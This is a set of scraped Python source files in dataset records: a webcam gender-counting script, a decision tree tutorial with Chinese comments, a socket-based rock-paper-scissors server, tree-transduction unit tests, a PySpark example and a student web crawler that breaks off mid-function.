False)\r\n\r\n #cross corrletion\r\n if(temp>0):\r\n arr1_1D=np.reshape(cor, (len(cor)*4096))\r\n arr2_1D=np.reshape(rgb_face, (len(rgb_face)*4096))\r\n\r\n\r\n\r\n cor_out=np.correlate(arr1_1D,arr2_1D,'full')\r\n #print(cor)\r\n maxcor=np.max(cor_out)\r\n diff_cor=np.abs(prev_max-maxcor)\r\n # print(cor_out)\r\n print('difference',diff_cor)\r\n print ('maximum',maxcor)\r\n prev_max=maxcor\r\n cor=rgb_face\r\n temp+=1\r\n\r\n\r\n gender_prediction = gender_classifier.predict(rgb_face)\r\n gender_label_arg = np.argmax(gender_prediction)\r\n gender_text = gender_labels[gender_label_arg]\r\n gender_window.append(gender_text)\r\n\r\n if len(gender_window) > frame_window:\r\n # emotion_window.pop(0)\r\n gender_window.pop(0)\r\n try:\r\n # emotion_mode = mode(emotion_window)\r\n gender_mode = mode(gender_window)\r\n except:\r\n continue\r\n\r\n if gender_text == gender_labels[0]:\r\n color = (0, 0, 255)\r\n if(diff_cor>150):\r\n female_count+=1\r\n\r\n else:\r\n color = (255, 0, 0)\r\n if(diff_cor>150):\r\n male_count+=1\r\n draw_bounding_box(face_off, rgb_image, color)\r\n draw_text(face_off, rgb_image, gender_mode,\r\n color, 0, -20, 1, 1)\r\n # draw_text(face_coordinates, rgb_image, emotion_mode,\r\n # color, 0, -45, 1, 1)\r\n\r\n #bgr_image = cv2.cvtColor(rgb_image, cv2.COLOR_RGB2BGR)\r\n cv2.imshow('window_frame', rgb_image)\r\n if cv2.waitKey(20) & 0xFF == ord('q'):\r\n break\r\n\r\nprint('female',female_count)\r\nprint('male',male_count)\r\n","sub_path":"src/extraTestingwithvideo.py","file_name":"extraTestingwithvideo.py","file_ext":"py","file_size_in_byte":4844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"469094455","text":"# -*- coding: utf-8 -*-\n'''\n决策树是最容易理解和看懂的一个模型,\n通俗的讲,决策树就是if...then逻辑\n针对所有的属性,进行if..then判断,\n最终每个属性值下面所涵盖的都是同一类的,则结束。\n属性的先后顺序通过信息增益、信息增益率或者基尼系数进行选择\n信息增益的计算公式:\n'''\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.font_manager import FontProperties\n\ndef calcShannonEnt(dataSet):\n '''计算香农熵\n Parameters:dataSet - 要计算的数据集\n Returns:shannonEnt - 香农熵值\n Author:Li Wei\n '''\n m = len(dataSet)\n labelCount = {}\n for i in dataSet:\n currentlabel = i[-1]\n labelCount[currentlabel] = labelCount.get(currentlabel,0) + 1\n shannonEnt = 0\n for key in labelCount:\n prob = float(labelCount[key])/m\n shannonEnt -= prob * np.log2(prob)\n return shannonEnt\n\ndef createDataSet():\n '''构建示例数据集\n Parameters:无\n Returns:dataSet - 数据集\n labels - 数据集标签\n Author:Li Wei\n '''\n dataSet = [[1,1,'yes'],\n [1,1,'yes'],\n [1,0,'no'],\n [0,1,'no'],\n [0,1,'no']]\n labels = ['no surfacing','flippers']\n return dataSet,labels\n\n#dataSet,labels = createDataSet()\n#calcShannonEnt(dataSet)\n#熵值越高,则混合的数据类型也越多\n \ndef splitDataSet(dataSet,axis,value):\n '''分割函数\n Parameters:dataSet - 要分割的数据集\n axis - 要分割的特征索引\n value - 要分割的特征值\n Returns:retDataSet - 分割后的数据\n Author:Li Wei\n '''\n retDataSet = []\n for i in dataSet:\n if i[axis] == value:\n data = i[:axis] + i[axis+1:]\n retDataSet.append(data)\n return retDataSet\n\ndef chooseBestFeatureToSplit(dataSet):\n '''寻找最有特征函数\n Parameters:dataSet - 数据集\n Returns:bestFeature - 最有特征的索引值(信息增益最大的)\n Author:Li Wei\n '''\n n = len(dataSet[0]) - 1 #特征数,减一是因为最后一列是标签\n baseEntripy = calcShannonEnt(dataSet) #计算数据集的信息增益\n bestInfoGain = 0\n bestFeature = -1\n for i in range(n):\n datavaluelist = [example[i] for example in dataSet]\n datavalue = set(datavaluelist)\n newEntripy = 0\n for value in datavalue:\n retDataSet = splitDataSet(dataSet,i,value)\n prob = len(retDataSet) / float(len(dataSet))\n newEntripy += prob * calcShannonEnt(retDataSet)\n infoGain = baseEntripy - newEntripy\n print('第{}个特征的增益为{}'.format(i,infoGain))\n if (infoGain > bestInfoGain):\n bestInfoGain = infoGain\n bestFeature = i\n return bestFeature\n\n#chooseBestFeatureToSplit(dataSet)\n\n \n#构建树的最优特征已经挑选出来了,下面进行树的构建\ndef majorityCnt(classList):\n '''筛选最多类标签函数(当只有最后一个特征,且标签不完全相同时,筛选出标签做多的作为结果)\n Parameters:classList - 标签数据\n Returns:出现次数最多的标签\n Author:Li Wei\n '''\n classCount = {}\n for i in classList:\n classCount[i] = classCount.get(i,0) + 1\n sortedClassCount = sorted(classCount.items(),key=lambda x:x[1],reverse=True)\n return sortedClassCount[0][0]\n\ndef createTree(dataSet,labels,featlabels):\n '''构建树函数\n Parameters:dataSet - 数据集\n labels - 数据集对应的标签\n featlabels - 最优特征索引\n Returns:myTree - 决策树\n Author:Li Wei\n '''\n classList = [example[-1] for example in dataSet]\n if len(set(classList)) == 1:\n return classList[0]\n if len(dataSet[0]) == 1:\n return majorityCnt(classList)\n bestFeature = chooseBestFeatureToSplit(dataSet)\n bestFeatureLabel = labels[bestFeature]\n featlabels.append(bestFeatureLabel) #将每次选取的最优特征存储起来,用树进行验证的时候会用到\n myTree = {bestFeatureLabel:{}}\n del(labels[bestFeature])\n featValues = [example[bestFeature] for example in dataSet]\n uniqueValues = set(featValues)\n for value in uniqueValues:\n# subLabels = labels[:]\n myTree[bestFeatureLabel][value] = createTree(splitDataSet(dataSet,bestFeature\n ,value),labels,featlabels)\n return myTree\n\n#featlabels=[] #将每次选取的最优特征存储起来,用树进行验证的时候会用到\n#createTree(dataSet,labels,featlabels)\n \n#决策树可视化\ndef getNumLeafs(myTree):\n '''获取决策树叶子节点的数目\n Parameters:myTree - 决策树\n Returns:numLeafs - 决策树的叶子节点的数目\n Author:Li Wei\n '''\n numLeafs = 0\n firstStr = next(iter(myTree))\n secondDict = myTree[firstStr]\n for key in secondDict.keys():\n if type(secondDict[key]).__name__ == 'dict':\n numLeafs += getNumLeafs(secondDict[key])\n else:\n numLeafs += 1\n return numLeafs\n\ndef getTreeDepth(myTree):\n '''获取决策树的层数函数\n Parameters:myTree - 决策树\n Returns: maxDepth - 决策树的层数\n Author:Li Wei\n '''\n maxDepth = 0\n firstStr = next(iter(myTree))\n secondDict = myTree[firstStr]\n for key in secondDict.keys():\n if type(secondDict[key]).__name__ == 'dict':\n thisDepth = 1 + getTreeDepth(secondDict[key])\n else:\n thisDepth = 1\n if thisDepth > maxDepth:\n maxDepth = thisDepth\n return maxDepth\n\ndef plotNode(nodeTxt,centerpt,parentpt,nodetype):\n '''绘制结点函数\n Parameters:nodeTxt - 结点名\n centerpt - 文本位置\n parentpt - 标注的箭头位置\n nodetype - 结点格式\n Returns:无\n Author:Li Wei\n '''\n arrow_args = dict(arrowstyle='<-') #定义箭头格式\n font = FontProperties(fname='c:/windows/fonts/msyhl.ttc',size=14) #设置中文字体\n createPlot.ax1.annotate(nodeTxt,xy=parentpt,xycoords='axes fraction',xytext=centerpt,\n textcoords='axes fraction',va='center',ha='center',bbox=nodetype,\n arrowprops=arrow_args,FontProperties=font) #绘制节点\n\ndef plotMidText(cntrpt,parentpt,txtstring):\n '''标注有向边属性值\n Parameters:cntrpt、parentpt - 计算标注位置\n txtstring - 标注的内容\n Returns:无\n Author:Li Wei\n '''\n xMid = (parentpt[0] - cntrpt[0]) / 2 + cntrpt[0]\n yMid = (parentpt[0] - cntrpt[1]) / 2 + cntrpt[1]\n createPlot.ax1.text(xMid,yMid,txtstring,va='center',ha='center',\n rotation=30)\n\ndef plotTree(myTree,parentpt,nodeTxt):\n '''绘制决策树\n Parameters:myTree - 决策树\n parentpt - 标注的内��\n nodeTxt - 节点名\n Returns:无\n '''\n decisionNode = dict(boxstyle='sawtooth',fc='0.8')\n leafNode = dict(boxstyle='round4',fc='0.8')\n numLeafs = getNumLeafs(myTree)\n depth = getTreeDepth(myTree)\n firstStr = next(iter(myTree))\n cntrpt = (plotTree.xOff + (1 + float(numLeafs))/2/plotTree.totalW,plotTree.yOff)\n plotMidText(cntrpt,parentpt,nodeTxt)\n plotNode(firstStr,cntrpt,parentpt,decisionNode)\n secondDict = myTree[firstStr]\n plotTree.yOff = plotTree.yOff - 1/plotTree.totalD\n for key in secondDict.keys():\n if type(secondDict[key]).__name__ == 'dict':\n plotTree(secondDict[key],cntrpt,str(key))\n else:\n plotTree.xOff = plotTree.xOff + 1/plotTree.totalW\n plotNode(secondDict[key],(plotTree.xOff,plotTree.yOff),cntrpt,leafNode)\n plotMidText((plotTree.xOff,plotTree.yOff),cntrpt,str(key))\n plotTree.yOff = plotTree.yOff + 1/plotTree.totalD\n \ndef createPlot(inTree):\n '''创建绘制面板\n Parameters:inTree - 决策树\n Returns:无\n Author:Li Wei\n '''\n fig = plt.figure(1,facecolor='white')\n fig.clf()\n axprops = dict(xticks=[],yticks=[])\n createPlot.ax1 = plt.subplot(111,frameon=False,**axprops)\n plotTree.totalW = float(getNumLeafs(inTree))\n plotTree.totalD = float(getTreeDepth(inTree))\n plotTree.xOff = -0.5 / plotTree.totalW\n plotTree.yOff = 1\n plotTree(inTree,(0.5,1),'')\n plt.show()\n \n\n#模型创建结束,下面应用到新的数据上\ndef classify(inputTree,featlabels,testvec):\n '''模型树的应用函数\n Parameters:inputTree - 树模型\n featlabels - 模型树的最优特征\n testvec - 测试数据\n Returns:classLabel - 测试数据的标签\n Author:Li Wei\n '''\n firstStr = next(iter(inputTree))\n secondDict = inputTree[firstStr]\n featIndex = featlabels.index(firstStr)\n for key in secondDict.keys():\n if testvec[featIndex] == key:\n if type(secondDict[key]).__name__ == 'dict':\n classLabel = classify(secondDict[key],featlabels,testvec)\n else:\n classLabel = secondDict[key]\n return classLabel\n\n#决策树的存储\nimport pickle\n\ndef storTree(inputTree,filename):\n '''存储决策树函数\n Parameters:inputTree - 生成的决策树\n filename - 决策树的存储文件名\n Returns:无\n Author:Li Wei\n '''\n with open(filename,'wb') as f:\n pickle.dump(inputTree,f)\n \ndef grabTree(filename):\n '''读取决策树函数\n Parameters:filename - 决策树的存储路径\n Returns:决策树\n Author:Li Wei\n '''\n f = open(filename,'rb')\n return pickle.load(f)\n\nif __name__ == '__main__':\n dataSet,labels = createDataSet()\n featlabels = []\n myTree = createTree(dataSet,labels,featlabels)\n storTree(myTree,'classTree.txt')\n testVec = [1,0]\n result = classify(myTree,featlabels,testVec)\n print(result)\n \n\n\n'''使用sklearn库实现决策树'''\nimport pandas as pd\nfrom sklearn import tree\nfrom sklearn.preprocessing import LabelEncoder\nimport pydotplus\nfrom sklearn.externals.six import StringIO\n\nfile = '机器学习实战/Ch03/lenses.txt'\n\ndef loadfile(filename):\n '''读取文件函数\n Parameters:filename - 文件目录\n Returns:dataSet - 数据集\n Author:Li Wei\n '''\n f = open(file)\n lensesLabels = ['age', 'prescript', 'astigmatic', 'tearRate','labels']\n data = pd.read_table(f,names=lensesLabels) #因为文件名含有中文,直接读取报错,所以通过这种方式加载\n f.close()\n dataSet = data.iloc[:,:-1] #加载数据集\n labels = data.iloc[:,-1] #加载标签\n #因为数据集都是字符串格式,需编译成数字\n le = LabelEncoder()\n for col in dataSet.columns:\n dataSet.loc[:,col] = le.fit_transform(dataSet[col])\n return dataSet,labels\n\nif __name__ == '__main__':\n dataSet,labels = loadfile(file)\n clf = tree.DecisionTreeClassifier()\n lenses = clf.fit(dataSet.values.tolist(),labels)\n dot_data = StringIO()\n tree.export_graphviz(clf,out_file=dot_data,\n feature_names = dataSet.keys(),\n class_names = clf.classes_,\n filled=True,rounded=True,\n special_characters=True)\n graph = pydotplus.graph_from_dot_data(dot_data.getvalue())\n graph.write_pdf('tree.pdf')\n ","sub_path":"决策树.py","file_name":"决策树.py","file_ext":"py","file_size_in_byte":11450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"153070759","text":"import socket\r\nimport threading\r\n\r\nSERVER = '127.0.0.1'\r\nPORT = 63541\r\nFORMAT = 'utf-8'\r\nADDR = (SERVER, PORT)\r\nDISCONNECT_MSG = '!exit'\r\nDISCONNECT_CLIENT = '!close'\r\nHEADER = 64\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nplayer = []\r\nmossa = {}\r\nnum_thread = 0\r\n\r\n# funzione per gestire le azioni dei client\r\ndef check_action(msg, conn):\r\n if msg != \"0\" and msg != \"1\" and msg != \"2\":\r\n send(\"Rispettare le regole del gioco!\", conn)\r\n return msg\r\n else:\r\n send(\"In attesa della mossa dell'avversario..\", conn)\r\n return msg\r\n\r\n pass\r\n\r\n# funzione per gestire l'invio dei dati\r\ndef send(msg, conn):\r\n message = msg.encode(FORMAT)\r\n msg_length = len(message)\r\n send_length = str(msg_length).encode(FORMAT)\r\n send_length += b' ' * (HEADER - len(send_length))\r\n conn.send(send_length)\r\n conn.send(message)\r\n\r\n\r\n# funzione per gestire le connessioni in entrata\r\ndef handle_connection(conn, addr, mossa):\r\n print(f\"[NUOVA CONNESSIONE] {addr} connesso al server.\")\r\n send(\"Si possono usare solo i numeri 0[sasso] 1[carta] e 2[forbici]\", conn)\r\n connected = True\r\n while connected:\r\n msg_length = conn.recv(HEADER).decode(FORMAT)\r\n if msg_length:\r\n msg_length = int(msg_length)\r\n msg = conn.recv(msg_length).decode(FORMAT)\r\n if msg == DISCONNECT_MSG:\r\n print(f\"[{addr}] {msg}\")\r\n print(f\"[DISCONNESSIONE] {addr} disconnesso dal server.\")\r\n send(DISCONNECT_CLIENT, conn)\r\n connected = False\r\n else:\r\n print(f\"[{addr}] {msg}\")\r\n action1 = check_action(msg, conn)\r\n mossa[conn] = action1\r\n if num_thread >= 1 and len(mossa) >= 1:\r\n msg = check_winner(mossa, player)\r\n send_to_player(msg, player)\r\n\r\n conn.close()\r\n\r\n#def check_winner(action1, action2):\r\ndef check_winner(mosse, players):\r\n action = []\r\n for pl in players:\r\n action.append(mosse.get(pl))\r\n if action[0] == \"0\" and action[1] == \"1\":\r\n return (\"Vince giocatore 2 con carta\")\r\n elif action[0] == \"1\" and action[1] == \"2\":\r\n return(\"Vince giocatore 2 con forbici\")\r\n elif action[0] == \"2\" and action[1] == \"0\":\r\n return(\"Vince giocatore 2 con sasso\")\r\n if action[0] == \"1\" and action[1] == \"0\":\r\n return(\"Vince giocatore 1 con carta\")\r\n elif action[0] == \"2\" and action[1] == \"1\":\r\n return(\"Vince giocatore 1 con forbici\")\r\n elif action[0] == \"0\" and action[1] == \"2\":\r\n return(\"Vince giocatore 1 con sasso\")\r\n elif action[0] == action[1]:\r\n return(\"Pareggio\")\r\n\r\n# funzione per mandre i dati ai giocatori\r\ndef send_to_player(msg, player):\r\n for pl in player:\r\n send(msg, pl)\r\n\r\n# funzione per porre il server in ascolto delle connessioni in entrata\r\ndef start_server(s):\r\n s.listen()\r\n print(f\"[IN ASCOLTO] Server in ascolto su {SERVER}\")\r\n while True:\r\n # si pone in attesa delle connessioni ritornando 2 valori, conn avrà l'oggetto che gestirà i send e recv\r\n # addr conterrà una tupla con ind ip e porta\r\n global mossa\r\n global player\r\n global num_thread\r\n conn, addr = s.accept()\r\n\r\n thread1 = threading.Thread(target=handle_connection, args=(conn, addr, mossa))\r\n player += [conn]\r\n thread1.start()\r\n print(f\"[CONNESSIONI ATTIVE] {threading.active_count() - 1}\")\r\n num_thread = threading.active_count() - 1\r\n '''work ma solo se si aggiunge un nuovo client\r\n if num_thread >= 1 and len(mossa) >= 1:\r\n msg = check_winner(mossa, player)\r\n send_to_player(msg, player)'''\r\n\r\n# funzione per inizializzare il server\r\ndef initialize_server():\r\n s.bind(ADDR)\r\n start_server(s)\r\n\r\n\r\ndef main():\r\n print(f\"[INIZIALIZZAZIONE IN CORSO] Server in accensione\")\r\n initialize_server()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","sub_path":"LVL3_Game_Room/Gioco_v2.0_ora_anche_online/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"533107822","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport unittest\nfrom mock import Mock\n\n# from pudb import set_trace; set_trace()\n\nfrom extraction.extractor_exact import RuleExtractor\nfrom linguistics.similarity import Similarity, SimilarityScorerEnsemble\nfrom linguistics.similarity_costs import NodesDifference, TreeComplexity\nfrom linguistics.similarity_phrases import (PhraseCost, NoSimilarityPhrases,\n LeafSimilarityPhrases, PhraseCostGuesser, DistributedSimilarity, GetPowersetWordsN)\nfrom training.transductionrule import XTRule\nfrom utils.tree_tools import Tree, tree_or_string\n\nclass PreCachePhraseCostTestCase(unittest.TestCase):\n def setUp(self):\n self.words = ['word1', 'word2', 'word3']\n\n def test_GetPowersetWordsN1(self):\n powerset_words = GetPowersetWordsN(self.words, 1)\n expected_subsets = [('word1',), ('word2',), ('word3',)]\n self.assertItemsEqual(expected_subsets, powerset_words)\n\n def test_GetPowersetWordsN2(self):\n powerset_words = GetPowersetWordsN(self.words, 2)\n expected_subsets = [('word1',), ('word2',), ('word3',),\n ('word1', 'word2'), ('word1', 'word3'), ('word2', 'word3',)]\n self.assertItemsEqual(expected_subsets, powerset_words)\n\n def test_GetPowersetWordsN3(self):\n powerset_words = GetPowersetWordsN(self.words, 3)\n expected_subsets = [('word1',), ('word2',), ('word3',),\n ('word1', 'word2'), ('word1', 'word3'), ('word2', 'word3',),\n ('word1', 'word2', 'word3')]\n self.assertItemsEqual(expected_subsets, powerset_words)\n\nclass ExtractRulesPhrasesSimTestCase(unittest.TestCase):\n def setUp(self):\n self.S = 'q0' # initial state.\n model_path = '/home/pasmargo/temporal/addition_model/'\n self.dist_sim = DistributedSimilarity(model_path)\n # Building the ensemble of scorers.\n self.phrase_similarity = PhraseCost(self.dist_sim)\n self.similarity_scorer = \\\n SimilarityScorerEnsemble([self.phrase_similarity, NoSimilarityPhrases()],\n [])\n self.similarity_score_guesser = \\\n SimilarityScorerEnsemble([PhraseCostGuesser(self.dist_sim)])\n self.options = {'similarity_scorer' : self.similarity_scorer,\n 'similarity_score_guesser' : self.similarity_score_guesser,\n 'cached_extractors' : {},\n 'max_running_time' : 3000}\n\n def test_NounPhrase1(self):\n tree1 = tree_or_string(u'(NP (JJ muscular) (NN dystrophy))')\n tree2 = tree_or_string(u'(NN 筋ジストロフィー)')\n path1 = ()\n path2 = ()\n rule_extractor = RuleExtractor(tree1, tree2, path1, path2, self.options)\n derivation = rule_extractor.ObtainBestDerivations(1)\n expected_derivation = \\\n [XTRule(self.S,\n tree_or_string(u'(NP (JJ muscular) (NN dystrophy))'),\n tree_or_string(u'(NN 筋ジストロフィー)'),\n {},\n 0.001115)]\n self.maxDiff = None\n self.assertItemsEqual([expected_derivation], derivation)\n\n def test_NounPhrase2(self):\n tree1 = tree_or_string(u'(NP| (JJ muscular) (NP| (NN dystrophy) (NN patient)))')\n tree2 = tree_or_string(u'(NP (NPfsNP 筋ジストロフィー) (NP 患者))')\n path1 = ()\n path2 = ()\n rule_extractor = RuleExtractor(tree1, tree2, path1, path2, self.options)\n derivation = rule_extractor.ObtainBestDerivations(1)\n expected_derivation = \\\n [XTRule(self.S,\n tree_or_string(u'(NP| (JJ muscular) (NP| (NN dystrophy) ?x0|NN))'),\n tree_or_string(u'(NP (NPfsNP 筋ジストロフィー) ?x0|NP)'),\n {},\n 0.001115),\n XTRule(self.S,\n tree_or_string(u'(NN patient)'),\n tree_or_string(u'(NP 患者)'),\n {},\n 0.001115)]\n self.maxDiff = None\n self.assertItemsEqual([expected_derivation], derivation)\n\n def test_NounPhrase3(self):\n tree1 = tree_or_string(u'(NP (DT the) (NP| (JJ muscular) (NP| (NN dystrophy) (NN patient))))')\n tree2 = tree_or_string(u'(NP (NPfsNP 筋ジストロフィー) (NP 患者))')\n path1 = ()\n path2 = ()\n rule_extractor = RuleExtractor(tree1, tree2, path1, path2, self.options)\n derivation = rule_extractor.ObtainBestDerivations(1)\n expected_derivation = \\\n [XTRule(self.S,\n tree_or_string(u'(NP (DT the) ?x0|NP|)'),\n tree_or_string(u'?x0|NP'),\n {() : 'q0'},\n 0.001115),\n XTRule(self.S,\n tree_or_string(u'(NP| (JJ muscular) (NP| (NN dystrophy) ?x0|NN))'),\n tree_or_string(u'(NP (NPfsNP 筋ジストロフィー) ?x0|NP)'),\n {},\n 0.001115),\n XTRule(self.S,\n tree_or_string(u'(NN patient)'),\n tree_or_string(u'(NP 患者)'),\n {},\n 0.001115)]\n self.maxDiff = None\n self.assertItemsEqual([expected_derivation], derivation)\n\nclass ExtractRulesPhrasesTestCase(unittest.TestCase):\n def setUp(self):\n self.S = 'q0' # initial state.\n # Mocking the feature function that measures similarities between phrases.\n self.dist_sim = Mock()\n phrase_to_phrase = {('set_up', 'pongo_a_punto') : 0.1,\n ('I', 'Yo') : 0.1,\n ('that', 'eso') : 0.1,\n ('the', 'el') : 0.1,\n ('computer', 'ordenador') : 0.1}\n self.dist_sim.GetDistSim = \\\n (lambda x, y: phrase_to_phrase[('_'.join(x), '_'.join(y))] \\\n if ('_'.join(x), '_'.join(y)) in phrase_to_phrase else None)\n # Building the ensemble of scorers.\n self.phrase_similarity = PhraseCost(self.dist_sim)\n self.similarity_scorer = \\\n SimilarityScorerEnsemble([self.phrase_similarity, NoSimilarityPhrases()],\n [NodesDifference(), TreeComplexity()])\n self.similarity_score_guesser = \\\n SimilarityScorerEnsemble([LeafSimilarityPhrases()])\n\n def tearDown(self):\n RuleExtractor.cached_extractors = {}\n\n @unittest.expectedFailure\n def test_VerbPhrase(self):\n tree1 = tree_or_string('(S (PRP I) (VP (VB set) (PT up) (NN that)))')\n tree2 = tree_or_string('(S (PRP Yo) (VP (VB pongo) (PTP (PRP a) (ADJ punto)) (NN eso)))')\n path1 = ()\n path2 = ()\n rule_extractor = RuleExtractor(tree1, tree2, path1, path2, \\\n self.similarity_scorer, self.similarity_score_guesser)\n derivation = rule_extractor.ObtainBestDerivations(1)\n expected_derivation = \\\n [XTRule(self.S,\n tree_or_string('(S ?x0|PRP ?x1|VP)'),\n tree_or_string('(S ?x0|PRP ?x1|VP)'),\n {(0,) : 'q1', (1,) : 'q1'},\n 0.0),\n XTRule('q1',\n tree_or_string('(PRP ?x0|)'),\n tree_or_string('(PRP ?x0|)'),\n {(0,) : 'dist_sim'},\n 0.0),\n XTRule('dist_sim', tree_or_string('I'),\n tree_or_string('Yo'),\n {},\n 0.1),\n XTRule('dist_sim', tree_or_string('(VP (VB set) (PT up) ?x0|NN)'),\n tree_or_string('(VP (VB pongo) (PTP (PRP a) (ADJ punto)) ?x0|NN)'),\n {},\n 0.1 * 3),\n XTRule('q1',\n tree_or_string('(NN ?x0|)'),\n tree_or_string('(NN ?x0|)'),\n {(0,) : 'dist_sim'},\n 0.0),\n XTRule('dist_sim', tree_or_string('that'),\n tree_or_string('eso'),\n {},\n 0.1)]\n self.maxDiff = None\n self.assertItemsEqual([expected_derivation], derivation)\n\n @unittest.expectedFailure\n def test_VerbPhraseSeparable(self):\n tree1 = tree_or_string('(S (PRP I) (VP (VB set) (NN that) (PT up)))')\n tree2 = tree_or_string('(S (PRP Yo) (VP (VB pongo) (NN eso) (PTP (PRP a) (ADJ punto))))')\n path1 = ()\n path2 = ()\n rule_extractor = RuleExtractor(tree1, tree2, path1, path2, \\\n self.similarity_scorer, self.similarity_score_guesser)\n derivation = rule_extractor.ObtainBestDerivations(1)\n expected_derivation = \\\n [XTRule(self.S,\n tree_or_string('(S ?x0|PRP ?x1|VP)'),\n tree_or_string('(S ?x0|PRP ?x1|VP)'),\n {(0,) : 'q1', (1,) : 'q2'},\n 0.0),\n XTRule('q1',\n tree_or_string('(PRP ?x0|)'),\n tree_or_string('(PRP ?x0|)'),\n {(0,) : 'dist_sim'},\n 0.0),\n XTRule('dist_sim', tree_or_string('I'),\n tree_or_string('Yo'),\n {},\n 0.1),\n XTRule('dist_sim', tree_or_string('(VP (VB set) (PT up) ?x0|NN)'),\n tree_or_string('(VP (VB pongo) (PTP (PRP a) (ADJ punto)) ?x0|NN)'),\n {},\n 0.1 * 3),\n XTRule('q2',\n tree_or_string('(NN ?x0|)'),\n tree_or_string('(NN ?x0|)'),\n {(0,) : 'dist_sim'},\n 0.0),\n XTRule('dist_sim', tree_or_string('that'),\n tree_or_string('eso'),\n {},\n 0.1)]\n self.maxDiff = None\n self.assertItemsEqual([expected_derivation], derivation)\n\nif __name__ == '__main__':\n suite1 = unittest.TestLoader().loadTestsFromTestCase(ExtractRulesPhrasesTestCase)\n suite2 = unittest.TestLoader().loadTestsFromTestCase(PreCachePhraseCostTestCase)\n suite3 = unittest.TestLoader().loadTestsFromTestCase(ExtractRulesPhrasesSimTestCase)\n suites = unittest.TestSuite([suite1, suite2, suite3])\n unittest.TextTestRunner(verbosity=2).run(suites)\n\n","sub_path":"linguistics/similarity_phrases_test.py","file_name":"similarity_phrases_test.py","file_ext":"py","file_size_in_byte":9477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"118563772","text":"import os\nfrom sourced.spark import API as SparkAPI\nfrom pyspark.sql import SparkSession\n\ndef main():\n file_path = os.path.dirname(os.path.realpath(__file__))\n repos_path = os.path.join(file_path, '..', '..', '..', 'src', 'test', 'resources', 'siva-files')\n session = SparkSession.builder.appName(\"test\").master('local[*]').getOrCreate()\n api = SparkAPI(session, repos_path)\n api.repositories.references.master_ref.commits.show()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"python/sourced/examples/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"161043981","text":"# assignment 5 task 2\n# Andrea Mildes - mildes@uni-koblenz.de\n# Sebastian Blei - sblei@uni-koblenz.de\n# Johannes Kirchner - jkirchner@uni-koblenz.de\n# Abdul Afghan - abdul.afghan@outlook.de\n\n# HTTP Requests\nimport socket\n\n# Parse the URLs und decode them\nimport urllib.parse\n\n# Required for the makedirs command which is used to create the folder structure\nimport os\n\n# Required for regular expressions\nimport re\n\n# Used for time-measuring (debug purposes)\nimport time\n\n# Globals\nvisited = set()\nset_queue = set()\next_links = 0\ndownloaded = 0\ntotal_links = []\n\n\ndef recv_all(sock):\n data = b\"\"\n part = None\n while part != b\"\":\n part = sock.recv(4096)\n data += part\n return data\n\n\n# Parse the url in its components,\n# create a socket and connect to a webserver on port 80.\n# Send a GET Request and wait till all chunks arrived.\n# If the next chunk is empty, continue.\ndef do_http_get_request(url):\n url = urllib.parse.urlparse(url)\n path = url.path\n if path == \"\":\n path = \"/\"\n host = url.netloc\n port = 80\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n s.connect((host, port))\n request = \"\"\n request += \"GET \" + path + \" HTTP/1.0\"\n request += \"\\r\\n\\r\\n\"\n\n s.send(str.encode(request))\n response = recv_all(s)\n\n if response:\n temp = response.split(b\"\\r\\n\\r\\n\", 1)\n header = temp[0]\n body = temp[1].strip()\n\n return header, body, path\n else:\n print(\"No response :(\")\n exit()\n\n\ndef save_to_file(body, path):\n global downloaded\n # remove first / in order to save the file in the directory of this .py file\n if path[0:1] == \"/\":\n path = path[1:]\n\n # convert path to UTF-8\n path = urllib.parse.unquote_plus(path)\n\n # create directories if not already exist\n if path.count(\"/\") > 0:\n os.makedirs(os.path.dirname(\"dump/\" + path), exist_ok=True)\n\n file = open(\"dump/\" + path, 'wb')\n file.write(body)\n file.close()\n downloaded += 1\n\n\ndef search_all_links(body, url):\n global ext_links, visited, set_queue, total_links\n q = set()\n count_external_links = 0\n count_internal_links = 0\n\n url = urllib.parse.urlparse(url)\n pattern = re.compile(\"\")\n\n # Sometimes there is an Unicode Decode Error, so we simply catch it, log it and proceed\n try:\n links = pattern.findall(body.decode())\n except UnicodeDecodeError as ude:\n return -1\n\n # Do stuff with all found links\n for i in range(0, len(links)):\n url_i = urllib.parse.urlparse(links[i])\n\n # Ignore external links\n if url_i.netloc != '':\n if url_i.netloc != '141.26.208.82':\n # Count all external links\n count_external_links += 1\n continue\n else:\n break\n\n # Count all internal links\n count_internal_links += 1\n count = links[i].count(\"../\")\n\n # Remove all ../ from the URL\n for j in range(0, count):\n index = links[i].find(\"/\")\n links[i] = links[i][index+1:]\n\n temp_path = url.path\n # count+1 because we have to remove the filename first :)\n for y in range(0, count+1):\n x = temp_path.rfind('/')\n temp_path = temp_path[:x]\n\n # If the path has a leading / remove it\n if temp_path[0:1] == \"/\":\n temp_path = temp_path[1:]\n\n result = url.scheme + \"://\" + url.netloc + \"/\" + temp_path + links[i]\n\n # # Check if URL is already visited\n if result in visited or result in set_queue:\n continue\n\n q.add(result)\n\n total_links.append((count_internal_links + count_external_links, count_internal_links, count_external_links))\n return q\n\n\ndef print_log(duration, decoding_error):\n duration_min = str(round(duration/60, 1)) + \" min.\"\n duration_perc = \"(\" + str(round(((duration/1645)*100), 2)) + \"%)\"\n downloaded_perc = \"(\" + str(round(((downloaded/85322)*100), 1)) + \"%)\"\n file = open('log.txt', 'a')\n file.write(\"Duration: %-9s %-9s | Visited: %-8s | Queue: %-8s | Decoding-Errors: %-2s | Downloaded: %-5s %-7s\\n\" %\n (duration_min, duration_perc, len(visited), len(set_queue), decoding_error, downloaded, downloaded_perc))\n file.close()\n\n\ndef worker(starting_url):\n global visited, set_queue\n start_time = time.time()\n set_queue.add(starting_url)\n decoding_error = 